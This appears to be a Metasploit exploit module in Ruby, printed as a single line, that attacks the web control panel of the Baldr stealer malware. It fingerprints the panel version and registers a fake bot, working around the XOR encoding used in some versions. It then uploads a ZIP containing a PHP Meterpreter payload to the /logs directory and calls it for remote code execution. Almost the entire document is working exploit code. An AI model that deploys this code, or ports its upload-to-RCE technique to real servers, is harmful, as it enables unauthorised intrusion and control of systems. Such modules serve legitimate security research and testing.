## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Baldr Botnet Panel Shell Upload Exploit', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability within the Baldr stealer malware control panel when uploading victim log files (which are uploaded as ZIP files). Attackers can turn this vulnerability into an RCE by first registering a new bot to the panel and then uploading a ZIP file containing malicious PHP, which will then uploaded to a publicly accessible directory underneath the /logs web directory. Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files are encoded by XORing them with a random 4 byte key. This exploit module gets around this restriction by retrieving the IP specific XOR key from panel gate before uploading the malicious ZIP file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ege Balcı ' # author & msf module ], 'References' => [ ['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'], ['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'], ['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'], ], 'DefaultOptions' => { 'SSL' => false, 'WfsDelay' => 5 }, 'Platform' => [ 'php' ], 'Arch' => [ ARCH_PHP ], 'Targets' => [ [ 'Auto', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' } } ], [ '<= v2.0', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' } } ], [ 'v2.2', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' } } ], [ 'v3.0 & v3.1', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2018-12-19', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']), ] ) end def check if select_target Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}") else Exploit::CheckCode::Safe end end def select_target res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'gate.php') ) if res && res.code == 200 if res.body.include?('~;~') targets[3] elsif res.body.include?(';') targets[2] elsif res.body.size < 4 targets[1] end end end def exploit # Forge the payload name = ".#{Rex::Text.rand_text_alpha(4)}" files = [ { data: payload.encoded, fname: "#{name}.php" } ] zip = Msf::Util::EXE.to_zip(files) hwid = Rex::Text.rand_text_alpha(8).upcase gate_uri = normalize_uri(target_uri.path, 'gate.php') version = select_target # If not 'Auto' then use the selected version if target != targets[0] version = target end gate_res = send_request_cgi({ 'method' => 'GET', 'uri' => gate_uri }) os = Rex::Text.rand_text_alpha(8..12) case version when targets[3] fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~') fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') end key = gate_res.body.to_s.split('~;~')[0] print_good("Key: #{key}") data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0" data = Rex::Text.xor(key, data) res = send_request_cgi({ 'method' => 'GET', 'uri' => gate_uri, 'data' => data.to_s }) fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200 print_good('Bot successfully registered.') data = Rex::Text.xor(key, zip.to_s) form = Rex::MIME::Message.new form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"") res = send_request_cgi({ 'method' => 'POST', 'uri' => gate_uri, 'ctype' => "multipart/form-data; boundary=#{form.bound}", 'data' => form.to_s }) if res && res.code == 200 print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") register_file_for_cleanup("#{name}.php") else print_error("Server responded with code #{res.code}") fail_with(Failure::UnexpectedReply, 'Failed to upload payload') end when targets[2] fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~') fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') end key = gate_res.body.to_s.split(';')[0] print_good("Key: #{key}") data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***" data << zip.to_s result = Rex::Text.xor(key, data) res = send_request_cgi({ 'method' => 'POST', 'uri' => gate_uri, 'data' => result.to_s }) unless res && res.code == 200 print_error("Server responded with code #{res.code}") fail_with(Failure::UnexpectedReply, 'Failed to upload payload') end print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") else res = send_request_cgi({ 'method' => 'POST', 'uri' => gate_uri, 'data' => zip.to_s, 'encode_params' => true, 'vars_get' => { 'hwid' => hwid, 'os' => os, 'cookie' => '0', 'pswd' => '0', 'credit' => '0', 'wallet' => '0', 'file' => '1', 'autofill' => '0', 'version' => 'v2.0' } }) if res && res.code == 200 print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") else print_error("Server responded with code #{res.code}") fail_with(Failure::UnexpectedReply, 'Failed to upload payload') end end vprint_status('Triggering payload') send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php") }, 3) end end